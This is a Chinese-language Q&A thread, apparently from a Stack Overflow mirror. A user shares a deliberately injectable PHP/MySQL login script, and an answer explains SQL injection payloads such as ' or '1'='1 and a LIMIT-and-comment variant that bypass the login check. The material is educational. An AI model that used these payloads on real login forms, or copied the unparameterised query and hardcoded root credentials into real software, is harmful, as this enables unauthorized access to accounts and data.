Tha*_*yen 19 php mysql code-injection
我想使用PHP/Mysql注入一个登录示例,我的代码如下.
我尝试过用户名anything' --
和空密码,但它不起作用,我无法登录.
谁能帮助我?
<?php
mysql_connect('localhost','root','root');
mysql_select_db('hp');
?>
<form action="" method="post">
<table width="50%">
<tr>
<td>User</td>
<td><input type="text" name="user"></td>
</tr>
<tr>
<td></td>
<td><input type="text" name="password"></td>
</tr>
</table>
<input type="submit" value="OK" name="s">
</form>
<?php
if($_POST['s']){
$user = $_POST['user'];
$pass = $_POST['password'];
$re = mysql_query("select * from zend_adminlist where user_name = '$user' and password = '$pass'");
if(mysql_num_rows($re) == 0){
echo '0';
}else{
echo '1';
}
}
?>
Run Code Online (Sandbox Code Playgroud)
Lem*_*rop 24
最常见的一个例子是这个查询:
' or '1'='1
Run Code Online (Sandbox Code Playgroud)
如果您将此用户名和密码输入到某些未经过验证的登录输入中,则查询会发生如下变化:
Original: SELECT * FROM USERS WHERE USER='' AND PASS='';
Modified: SELECT * FROM USERS WHERE USER='' or '1'='1' AND PASS='' or '1'='1';
Run Code Online (Sandbox Code Playgroud)
这导致它寻找的每个东西都是真的,因为1总是等于1.这个方法的问题是它不允许选择特定的用户.这样做你需要通过注释掉它来忽略AND语句,如其他例子中所示.
如果用户名的值是:
$_POST['user'] = "1' OR 1 LIMIT 1; --";
Run Code Online (Sandbox Code Playgroud)
然后mysql查询变为:
select *
from zend_adminlist
where user_name = '1' OR 1 LIMIT 1; --' and password = '$pass'
Run Code Online (Sandbox Code Playgroud)
归档时间: |
|
查看次数: |
59155 次 |
最近记录: |